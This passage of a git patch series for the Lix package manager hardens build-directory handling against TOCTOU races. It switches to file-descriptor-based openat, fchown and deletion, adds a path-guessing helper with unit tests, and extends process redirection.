b/lix/libutil/file-descriptor.hh +index 5331751cb..6c1c698fc 100644 +--- a/lix/libutil/file-descriptor.hh ++++ b/lix/libutil/file-descriptor.hh +@@ -36,6 +36,15 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts = true); + */ + std::string drainFD(int fd, bool block = true, const size_t reserveSize=0); + ++ ++/* ++ * Will attempt to guess *A* path associated that might lead to the same file as used by this ++ * file descriptor. ++ * ++ * The returned string should NEVER be used as a valid path. ++ */ ++std::string guessOrInventPathFromFD(int fd); ++ + Generator drainFDSource(int fd, bool block = true); + + class AutoCloseFD +@@ -50,6 +59,15 @@ public: + AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; + AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false); + int get() const; ++ ++ /* ++ * Will attempt to guess *A* path associated that might lead to the same file as used by this ++ * file descriptor. ++ * ++ * The returned string should NEVER be used as a valid path. ++ */ ++ std::string guessOrInventPath() const { return guessOrInventPathFromFD(fd); } ++ + explicit operator bool() const; + int release(); + void close(); +diff --git a/meson.build b/meson.build +index f0443bbd1..92b4c05ec 100644 +--- a/meson.build ++++ b/meson.build +@@ -266,6 +266,11 @@ configdata += { + 'HAVE_SECCOMP': seccomp.found().to_int(), + } + ++# fcntl(F_GETPATH) returns the path of an fd on macOS and BSDs ++configdata += { ++ 'HAVE_F_GETPATH': cxx.has_header_symbol('fcntl.h', 'F_GETPATH').to_int(), ++} ++ + libarchive = dependency('libarchive', required : true, include_type : 'system') + + brotli = [ +diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc +index 3b865cb82..263fd7834 100644 +--- a/tests/unit/libutil/tests.cc ++++ b/tests/unit/libutil/tests.cc +@@ -3,6 +3,8 @@ + #include "lix/libutil/strings.hh" + #include "lix/libutil/types.hh" + #include "lix/libutil/terminal.hh" ++#include "lix/libutil/unix-domain-socket.hh" ++#include "tests/test-data.hh" + + #include + +@@ -207,6 +209,85 @@ namespace nix { + ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes")); + } + ++ /* ---------------------------------------------------------------------------- ++ * AutoCloseFD::guessOrInventPath ++ * --------------------------------------------------------------------------*/ ++ void testGuessOrInventPathPrePostDeletion(AutoCloseFD & fd, Path & path) { ++ { ++ SCOPED_TRACE(fmt("guessing path before deletion of '%1%'", path)); ++ ASSERT_TRUE(fd); ++ /* We cannot predict what the platform will return here. ++ * But it cannot fail. */ ++ ASSERT_TRUE(fd.guessOrInventPath().size() >= 0); ++ } ++ { ++ SCOPED_TRACE(fmt("guessing path after deletion of '%1%'", path)); ++ deletePath(path); ++ /* We cannot predict what the platform will return here. ++ * But it cannot fail. */ ++ ASSERT_TRUE(fd.guessOrInventPath().size() >= 0); ++ } ++ } ++ TEST(guessOrInventPath, files) { ++ Path filePath = getUnitTestDataPath("guess-or-invent/test.txt"); ++ createDirs(dirOf(filePath)); ++ writeFile(filePath, "some text"); ++ AutoCloseFD file{open(filePath.c_str(), O_RDONLY, 0666)}; ++ testGuessOrInventPathPrePostDeletion(file, filePath); ++ } ++ ++ TEST(guessOrInventPath, directories) { ++ Path dirPath = getUnitTestDataPath("guess-or-invent/test-dir"); ++ createDirs(dirPath); ++ AutoCloseFD directory{open(dirPath.c_str(), O_DIRECTORY, 0666)}; ++ testGuessOrInventPathPrePostDeletion(directory, dirPath); ++ } ++ ++#ifdef O_PATH ++ TEST(guessOrInventPath, symlinks) { ++ Path symlinkPath = getUnitTestDataPath("guess-or-invent/test-symlink"); ++ Path targetPath = getUnitTestDataPath("guess-or-invent/nowhere"); ++ createDirs(dirOf(symlinkPath)); ++ createSymlink(targetPath, symlinkPath); ++ AutoCloseFD symlink{open(symlinkPath.c_str(), O_PATH | O_NOFOLLOW, 0666)}; ++ testGuessOrInventPathPrePostDeletion(symlink, symlinkPath); ++ } ++ ++ TEST(guessOrInventPath, fifos) { ++ Path fifoPath = getUnitTestDataPath("guess-or-invent/fifo"); ++ createDirs(dirOf(fifoPath)); ++ ASSERT_TRUE(mkfifo(fifoPath.c_str(), 0666) == 0); ++ AutoCloseFD fifo{open(fifoPath.c_str(), O_PATH | O_NOFOLLOW, 0666)}; ++ testGuessOrInventPathPrePostDeletion(fifo, fifoPath); ++ } ++#endif ++ ++ TEST(guessOrInventPath, pipes) { ++ int pipefd[2]; ++ ++ ASSERT_TRUE(pipe(pipefd) == 0); ++ ++ AutoCloseFD pipe_read{pipefd[0]}; ++ ASSERT_TRUE(pipe_read); ++ AutoCloseFD pipe_write{pipefd[1]}; ++ ASSERT_TRUE(pipe_write); ++ ++ /* We cannot predict what the platform will return here. ++ * But it cannot fail. */ ++ ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0); ++ ASSERT_TRUE(pipe_write.guessOrInventPath().size() >= 0); ++ pipe_write.close(); ++ ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0); ++ pipe_read.close(); ++ } ++ ++ TEST(guessOrInventPath, sockets) { ++ Path socketPath = getUnitTestDataPath("guess-or-invent/socket"); ++ createDirs(dirOf(socketPath)); ++ AutoCloseFD socket = createUnixDomainSocket(socketPath, 0666); ++ testGuessOrInventPathPrePostDeletion(socket, socketPath); ++ } ++ + /* ---------------------------------------------------------------------------- + * concatStringsSep + * --------------------------------------------------------------------------*/ +-- +2.49.0 + + +From bcf1f27fec3b18c33e7b76384cebd95b105f9357 Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:04:59 +0100 +Subject: [SECURITY FIX 02/12] libstore: open build directory as a dirfd as + well + +We now keep around a proper AutoCloseFD around the temporary directory +which we plan to use for openat operations and avoiding the build +directory being swapped out while we are doing something else. + +Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a +Signed-off-by: Raito Bezarius +--- + lix/libstore/build/local-derivation-goal.cc | 5 +++++ + lix/libstore/build/local-derivation-goal.hh | 5 +++++ + 2 files changed, 10 insertions(+) + +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index 5de4fdec5..fc6e925f3 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -441,6 +441,11 @@ try { + false, + 0700 + ); ++ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to ++ * POSIX semantics.*/ ++ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; ++ if (!tmpDirFd) ++ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); + + chownToBuilder(tmpDir); + +diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh +index ec874ecea..5b9051ede 100644 +--- a/lix/libstore/build/local-derivation-goal.hh ++++ b/lix/libstore/build/local-derivation-goal.hh +@@ -42,6 +42,11 @@ struct LocalDerivationGoal : public DerivationGoal + */ + Path tmpDir; + ++ /** ++ * The temporary directory file descriptor ++ */ ++ AutoCloseFD tmpDirFd; ++ + /** + * The path of the temporary directory in the sandbox. + */ +-- +2.49.0 + + +From 10509774edf5f6cae9a17ff9b656e4fb42c996f8 Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:05:34 +0100 +Subject: [SECURITY FIX 03/12] libstore: chown to builder variant for file + descriptors + +We use it immediately for the build temporary directory. + +Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 +Signed-off-by: Raito Bezarius +--- + lix/libstore/build/local-derivation-goal.cc | 9 ++++++++- + lix/libstore/build/local-derivation-goal.hh | 10 +++++++++- + 2 files changed, 17 insertions(+), 2 deletions(-) + +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index fc6e925f3..6d93c6841 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -447,7 +447,7 @@ try { + if (!tmpDirFd) + throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); + +- chownToBuilder(tmpDir); ++ chownToBuilder(tmpDirFd); + + for (auto & [outputName, status] : initialOutputs) { + /* Set scratch path we'll actually use during the build. +@@ -931,6 +931,13 @@ void LocalDerivationGoal::chownToBuilder(const Path & path) + throw SysError("cannot change ownership of '%1%'", path); + } + ++void LocalDerivationGoal::chownToBuilder(const AutoCloseFD & fd) ++{ ++ if (!buildUser) return; ++ if (fchown(fd.get(), buildUser->getUID(), buildUser->getGID()) == -1) ++ throw SysError("cannot change ownership of file '%1%'", fd.guessOrInventPath()); ++} ++ + + void LocalDerivationGoal::runChild() + { +diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh +index 5b9051ede..eb2fe50f3 100644 +--- a/lix/libstore/build/local-derivation-goal.hh ++++ b/lix/libstore/build/local-derivation-goal.hh +@@ -202,10 +202,18 @@ struct LocalDerivationGoal : public DerivationGoal + kj::Promise> writeStructuredAttrs(); + + /** +- * Make a file owned by the builder. ++ * Make a file owned by the builder addressed by its path. ++ * ++ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. ++ * It's only safe to call in a child of a directory only visible to the owner. + */ + void chownToBuilder(const Path & path); + ++ /** ++ * Make a file owned by the builder addressed by its file descriptor. ++ */ ++ void chownToBuilder(const AutoCloseFD & fd); ++ + int getChildStatus() override; + + /** +-- +2.49.0 + + +From ee8382a01253059b8680d041b860b361cbde6192 Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:06:03 +0100 +Subject: [SECURITY FIX 04/12] libutil: writeFile variant for file descriptors + +`writeFile` lose its `sync` boolean flag to make things simpler. + +A new `writeFileAndSync` function is created and all call sites are +converted to it. + +Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 +Signed-off-by: Raito Bezarius +--- + lix/libstore/local-store.cc | 4 +-- + lix/libutil/file-system.cc | 50 ++++++++++++++++++++++++++----------- + lix/libutil/file-system.hh | 22 ++++++++-------- + 3 files changed, 49 insertions(+), 27 deletions(-) + +diff --git a/lix/libstore/local-store.cc b/lix/libstore/local-store.cc +index 3d75be2f4..1d4ba8665 100644 +--- a/lix/libstore/local-store.cc ++++ b/lix/libstore/local-store.cc +@@ -224,7 +224,7 @@ void LocalStore::initDB(DBState & state) + else if (curSchema == 0) { /* new store */ + curSchema = nixSchemaVersion; + openDB(state, true); +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666); + } + + else if (curSchema < nixSchemaVersion) { +@@ -277,7 +277,7 @@ void LocalStore::initDB(DBState & state) + txn.commit(); + } + +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666); + + lockFile(globalLock.get(), ltRead, always_progresses); + } +diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc +index 47fc2f7ba..0fe70d938 100644 +--- a/lix/libutil/file-system.cc ++++ b/lix/libutil/file-system.cc +@@ -358,28 +358,49 @@ Generator readFileSource(const Path & path) + }(std::move(fd)); + } + +-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync, bool allowInterrupts) ++void writeFile(const Path & path, std::string_view s, mode_t mode, bool allowInterrupts) + { + AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; + if (!fd) + throw SysError("opening file '%1%'", path); ++ ++ writeFile(fd, s, mode, allowInterrupts); ++ ++ /* Close explicitly to propagate the exceptions. */ ++ fd.close(); ++} ++ ++void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode, bool allowInterrupts) ++{ ++ assert(fd); + try { + writeFull(fd.get(), s, allowInterrupts); + } catch (Error & e) { +- e.addTrace({}, "writing file '%1%'", path); ++ e.addTrace({}, "writing file '%1%'", fd.guessOrInventPath()); + throw; + } +- if (sync) +- fd.fsync(); +- // Explicitly close to make sure exceptions are propagated. +- fd.close(); +- if (sync) +- syncParent(path); + } + +-void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode, bool sync) ++void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode) ++{ ++ writeFile(path, s, mode, false); ++} ++ ++void writeFileAndSync(const Path & path, std::string_view s, mode_t mode) + { +- writeFile(path, s, mode, sync, false); ++ { ++ AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; ++ if (!fd) { ++ throw SysError("opening file '%1%'", path); ++ } ++ ++ writeFile(fd, s, mode); ++ fd.fsync(); ++ /* Close explicitly to ensure that exceptions are propagated. */ ++ fd.close(); ++ } ++ ++ syncParent(path); + } + + static AutoCloseFD openForWrite(const Path & path, mode_t mode) +@@ -400,7 +421,7 @@ static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync) + syncParent(path); + } + +-void writeFile(const Path & path, Source & source, mode_t mode, bool sync) ++void writeFile(const Path & path, Source & source, mode_t mode) + { + AutoCloseFD fd = openForWrite(path, mode); + +@@ -417,11 +438,10 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) + e.addTrace({}, "writing file '%1%'", path); + throw; + } +- closeForWrite(path, fd, sync); ++ closeForWrite(path, fd, false); + } + +-kj::Promise> +-writeFile(const Path & path, AsyncInputStream & source, mode_t mode, bool sync) ++kj::Promise> writeFile(const Path & path, AsyncInputStream & source, mode_t mode) + try { + AutoCloseFD fd = openForWrite(path, mode); + +@@ -439,7 +459,7 @@ try { + e.addTrace({}, "writing file '%1%'", path); + throw; + } +- closeForWrite(path, fd, sync); ++ closeForWrite(path, fd, false); + co_return result::success(); + } catch (...) { + co_return result::current_exception(); +diff --git a/lix/libutil/file-system.hh b/lix/libutil/file-system.hh +index 7d76b4fd0..a6267825d 100644 +--- a/lix/libutil/file-system.hh ++++ b/lix/libutil/file-system.hh +@@ -190,19 +190,21 @@ Generator readFileSource(const Path & path); + * Write a string to a file. + */ + void writeFile( +- const Path & path, +- std::string_view s, +- mode_t mode = 0666, +- bool sync = false, +- bool allowInterrupts = true +-); +-void writeFileUninterruptible( +- const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false ++ const Path & path, std::string_view s, mode_t mode = 0666, bool allowInterrupts = true + ); ++void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode = 0666); ++void writeFile(const Path & path, Source & source, mode_t mode = 0666); + +-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); ++void writeFile( ++ AutoCloseFD & fd, std::string_view s, mode_t mode = 0666, bool allowInterrupts = false ++); + kj::Promise> +-writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666, bool sync = false); ++writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666); ++ ++/** ++ * Write a string to a file and flush the file and its parents direcotry to disk. ++ */ ++void writeFileAndSync(const Path & path, std::string_view s, mode_t mode = 0666); + + /** + * Flush a file's parent directory to disk +-- +2.49.0 + + +From 8b93c4c17a7eabf7bdfd71da2bbe41454be96adb Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:07:47 +0100 +Subject: [SECURITY FIX 05/12] libstore: ensure that `passAsFile` is created in + the original temp dir + +This ensures that `passAsFile` data is created inside the expected +temporary build directory by `openat()` from the parent directory file +descriptor. + +This avoids a TOCTOU which is part of the attack chain of CVE-????. + +Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a +Signed-off-by: Raito Bezarius +--- + lix/libstore/build/local-derivation-goal.cc | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index 6d93c6841..c33bd8283 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -814,8 +814,13 @@ void LocalDerivationGoal::initTmpDir() { + auto hash = hashString(HashType::SHA256, i.first); + std::string fn = ".attr-" + hash.to_string(Base::Base32, false); + Path p = tmpDir + "/" + fn; +- writeFile(p, rewriteStrings(i.second, inputRewrites)); +- chownToBuilder(p); ++ /* TODO(jade): we should have BorrowedFD instead of OwnedFD. */ ++ AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; ++ if (!passAsFileFd) { ++ throw SysError("opening `passAsFile` file in the sandbox '%1%'", p); ++ } ++ writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites)); ++ chownToBuilder(passAsFileFd); + env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; + } + } +-- +2.49.0 + + +From d092cfa499fad3c661c7f07d2b5e0150b936db8e Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 12:42:55 +0100 +Subject: [SECURITY FIX 06/12] libutil: ensure that `_deletePath` does NOT use + absolute paths with dirfds + +When calling `_deletePath` with a parent file descriptor, `openat` is +made effective by using relative paths to the directory file descriptor. + +To avoid the problem, the signature is changed to resist misuse with an +assert in the prologue of the function. + +Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 +Signed-off-by: Raito Bezarius +--- + lix/libutil/file-system.cc | 36 ++++++++++++++++++++++++------------ + 1 file changed, 24 insertions(+), 12 deletions(-) + +diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc +index 0fe70d938..1b71caeb1 100644 +--- a/lix/libutil/file-system.cc ++++ b/lix/libutil/file-system.cc +@@ -473,18 +473,29 @@ void syncParent(const Path & path) + fd.fsync(); + } + +-static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, bool interruptible) ++/* TODO(horrors): a better structure that links all parent fds for the traversal root ++ * should be considered for this code ++ */ ++static void _deletePath(int parentfd, const std::string & name, uint64_t & bytesFreed, bool interruptible) + { ++ /* This ensures that `name` is an immediate child of `parentfd`. */ ++ assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`"); ++ + if (interruptible) { + checkInterrupt(); + } + +- std::string name(baseNameOf(path)); ++ /* FIXME(horrors): there's a minor TOCTOU here. ++ * we fstatat the inode nofollow, check if this is a directory ++ * and then open it. ++ * a better alternative is open it as O_PATH as a namefd. ++ * if it's a directory, it can be openat with the namefd. ++ */ + + struct stat st; + if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) { + if (errno == ENOENT) return; +- throw SysError("getting status of '%1%'", path); ++ throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); + } + + if (!S_ISDIR(st.st_mode)) { +@@ -515,24 +526,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, + /* Make the directory accessible. */ + const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR; + if ((st.st_mode & PERM_MASK) != PERM_MASK) { +- if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) +- throw SysError("chmod '%1%'", path); ++ if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) { ++ throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); ++ } + } + +- int fd = openat(parentfd, path.c_str(), O_RDONLY); ++ int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW); + if (fd == -1) +- throw SysError("opening directory '%1%'", path); ++ throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); + AutoCloseDir dir(fdopendir(fd)); + if (!dir) +- throw SysError("opening directory '%1%'", path); +- for (auto & i : readDirectory(dir.get(), path, interruptible)) +- _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed, interruptible); ++ throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); ++ for (auto & i : readDirectory(dir.get(), name, interruptible)) ++ _deletePath(dirfd(dir.get()), i.name, bytesFreed, interruptible); + } + + int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; + if (unlinkat(parentfd, name.c_str(), flags) == -1) { + if (errno == ENOENT) return; +- throw SysError("cannot unlink '%1%'", path); ++ throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); + } + } + +@@ -548,7 +560,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed, bool interrupt + throw SysError("opening directory '%1%'", path); + } + +- _deletePath(dirfd.get(), path, bytesFreed, interruptible); ++ _deletePath(dirfd.get(), std::string(baseNameOf(path)), bytesFreed, interruptible); + } + + +-- +2.49.0 + + +From 500a7406a0f6fe2d9132da70d10688cfc7fa598d Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Mon, 17 Mar 2025 15:45:27 +0100 +Subject: [SECURITY FIX 07/12] libutil: make RunningProgram more useful + +make it moveable, make it killable, and add a stdout fd accessor. + +Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0 +--- + lix/libcmd/repl.cc | 4 ++-- + lix/libfetchers/git.cc | 2 +- + lix/libstore/build/derivation-goal.cc | 2 +- + lix/libutil/processes.cc | 19 +++++++++++++++++-- + lix/libutil/processes.hh | 16 +++++++++++++++- + 5 files changed, 36 insertions(+), 7 deletions(-) + +diff --git a/lix/libcmd/repl.cc b/lix/libcmd/repl.cc +index 50ce1cd3a..5afebea93 100644 +--- a/lix/libcmd/repl.cc ++++ b/lix/libcmd/repl.cc +@@ -254,7 +254,7 @@ void runNix(Path program, const Strings & args) + .program = settings.nixBinDir+ "/" + program, + .args = args, + .environment = subprocessEnv, +- }).wait(); ++ }).waitAndCheck(); + + return; + } +@@ -672,7 +672,7 @@ ProcessLineResult NixRepl::processLine(std::string line) + + // runProgram redirects stdout to a StringSink, + // using runProgram2 to allow editors to display their UI +- runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait(); ++ runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck(); + + // Reload right after exiting the editor if path is not in store + // Store is immutable, so there could be no changes, so there's no need to reload +diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc +index b44ea997a..3231ec011 100644 +--- a/lix/libfetchers/git.cc ++++ b/lix/libfetchers/git.cc +@@ -777,7 +777,7 @@ struct GitInputScheme : InputScheme + .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() }, + .captureStdout = true, + }); +- Finally const _wait([&] { proc.wait(); }); ++ Finally const _wait([&] { proc.waitAndCheck(); }); + + unpackTarfile(*proc.getStdout(), tmpDir); + } +diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc +index 6767bc37e..69e654490 100644 +--- a/lix/libstore/build/derivation-goal.cc ++++ b/lix/libstore/build/derivation-goal.cc +@@ -895,7 +895,7 @@ void runPostBuildHook( + }); + Finally const _wait([&] { + try { +- proc.wait(); ++ proc.waitAndCheck(); + } catch (nix::Error & e) { + e.addTrace(nullptr, + "while running the post-build-hook %s for derivation %s", +diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc +index e2cc2515b..6b24d943f 100644 +--- a/lix/libutil/processes.cc ++++ b/lix/libutil/processes.cc +@@ -249,7 +249,7 @@ std::pair runProgram(RunOptions && options) + + try { + auto proc = runProgram2(options); +- Finally const _wait([&] { proc.wait(); }); ++ Finally const _wait([&] { proc.waitAndCheck(); }); + stdout = proc.getStdout()->drain(); + } catch (ExecError & e) { + status = e.status; +@@ -277,7 +277,22 @@ RunningProgram::~RunningProgram() + } + } + +-void RunningProgram::wait() ++std::tuple, int> RunningProgram::release() ++{ ++ return {pid.release(), std::move(stdoutSource), stdout_.release()}; ++} ++ ++int RunningProgram::kill() ++{ ++ return pid.kill(); ++} ++ ++int RunningProgram::wait() ++{ ++ return pid.wait(); ++} ++ ++void RunningProgram::waitAndCheck() + { + if (std::uncaught_exceptions() == 0) { + int status = pid.wait(); +diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh +index e9e4eb15a..01c42b9fc 100644 +--- a/lix/libutil/processes.hh ++++ b/lix/libutil/processes.hh +@@ -102,9 +102,23 @@ private: + + public: + RunningProgram() = default; ++ RunningProgram(RunningProgram &&) = default; ++ RunningProgram & operator=(RunningProgram &&) = default; + ~RunningProgram(); + +- void wait(); ++ explicit operator bool() const { return bool(pid); } ++ ++ std::tuple, int> release(); ++ ++ int kill(); ++ [[nodiscard]] ++ int wait(); ++ void waitAndCheck(); ++ ++ std::optional getStdoutFD() const ++ { ++ return stdout_ ? std::optional(stdout_.get()) : std::nullopt; ++ } + + Source * getStdout() const { return stdoutSource.get(); }; + }; +-- +2.49.0 + + +From 7f127054bec18da811bf3364909870f7a54f6b8d Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Mon, 17 Mar 2025 15:45:27 +0100 +Subject: [SECURITY FIX 08/12] libutil: add generic redirections runProgram2 + +explicit stderr redirection makes mergeStderrToStdout unnecessary also. + +Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872 +--- + lix/libfetchers/git.cc | 23 +++++++++++++++++------ + lix/libstore/build/derivation-goal.cc | 2 +- + lix/libstore/globals.cc | 12 ++++++++++-- + lix/libstore/ssh.cc | 1 + + lix/libutil/processes.cc | 8 +++++--- + lix/libutil/processes.hh | 7 ++++++- + 6 files changed, 40 insertions(+), 13 deletions(-) + +diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc +index 3231ec011..aa3ef7150 100644 +--- a/lix/libfetchers/git.cc ++++ b/lix/libfetchers/git.cc +@@ -22,6 +22,7 @@ + #include + #include + #include ++#include + + using namespace std::string_literals; + +@@ -164,11 +165,19 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir) + + /* Check whether HEAD points to something that looks like a commit, + since that is the refrence we want to use later on. */ +- auto result = runProgram(RunOptions { ++ auto result = runProgram(RunOptions{ + .program = "git", +- .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" }, ++ .args = ++ {"-C", ++ workdir, ++ "--git-dir", ++ gitDir, ++ "rev-parse", ++ "--verify", ++ "--no-revs", ++ "HEAD^{commit}"}, + .environment = env, +- .mergeStderrToStdout = true ++ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, + }); + auto exitCode = WEXITSTATUS(result.first); + auto errorMessage = result.second; +@@ -709,10 +718,12 @@ struct GitInputScheme : InputScheme + AutoDelete delTmpDir(tmpDir, true); + PathFilter filter = defaultPathFilter; + +- auto result = runProgram(RunOptions { ++ auto result = runProgram(RunOptions{ + .program = "git", +- .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() }, +- .mergeStderrToStdout = true ++ .args = ++ {"-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() ++ }, ++ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, + }); + if (WEXITSTATUS(result.first) == 128 + && result.second.find("bad file") != std::string::npos) +diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc +index 69e654490..48d38ffb4 100644 +--- a/lix/libstore/build/derivation-goal.cc ++++ b/lix/libstore/build/derivation-goal.cc +@@ -891,7 +891,7 @@ void runPostBuildHook( + .program = settings.postBuildHook, + .environment = hookEnvironment, + .captureStdout = true, +- .mergeStderrToStdout = true, ++ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, + }); + Finally const _wait([&] { + try { +diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc +index 9221da32b..b4328b068 100644 +--- a/lix/libstore/globals.cc ++++ b/lix/libstore/globals.cc +@@ -242,9 +242,17 @@ StringSet Settings::getDefaultExtraPlatforms() + // machines. Note that we can’t force processes from executing + // x86_64 in aarch64 environments or vice versa since they can + // always exec with their own binary preferences. +- if (std::string{SYSTEM} == "aarch64-darwin" && +- runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0) ++ if (std::string{SYSTEM} == "aarch64-darwin" ++ && runProgram(RunOptions{ ++ .program = "arch", ++ .args = {"-arch", "x86_64", "/usr/bin/true"}, ++ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}} ++ } ++ ).first ++ == 0) ++ { + extraPlatforms.insert("x86_64-darwin"); ++ } + #endif + + return extraPlatforms; +diff --git a/lix/libstore/ssh.cc b/lix/libstore/ssh.cc +index b43cc50a9..2b329f231 100644 +--- a/lix/libstore/ssh.cc ++++ b/lix/libstore/ssh.cc +@@ -8,6 +8,7 @@ + #include "lix/libutil/strings.hh" + #include "lix/libstore/temporary-dir.hh" + #include ++#include + + namespace nix { + +diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc +index 6b24d943f..0dcd96ba9 100644 +--- a/lix/libutil/processes.cc ++++ b/lix/libutil/processes.cc +@@ -330,9 +330,11 @@ RunningProgram runProgram2(const RunOptions & options) + replaceEnv(*options.environment); + if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) + throw SysError("dupping stdout"); +- if (options.mergeStderrToStdout) +- if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) +- throw SysError("cannot dup stdout into stderr"); ++ for (auto redirection : options.redirections) { ++ if (dup2(redirection.to, redirection.from) == -1) { ++ throw SysError("dupping fd %i to %i", redirection.from, redirection.to); ++ } ++ } + + if (options.chdir && chdir((*options.chdir).c_str()) == -1) + throw SysError("chdir failed"); +diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh +index 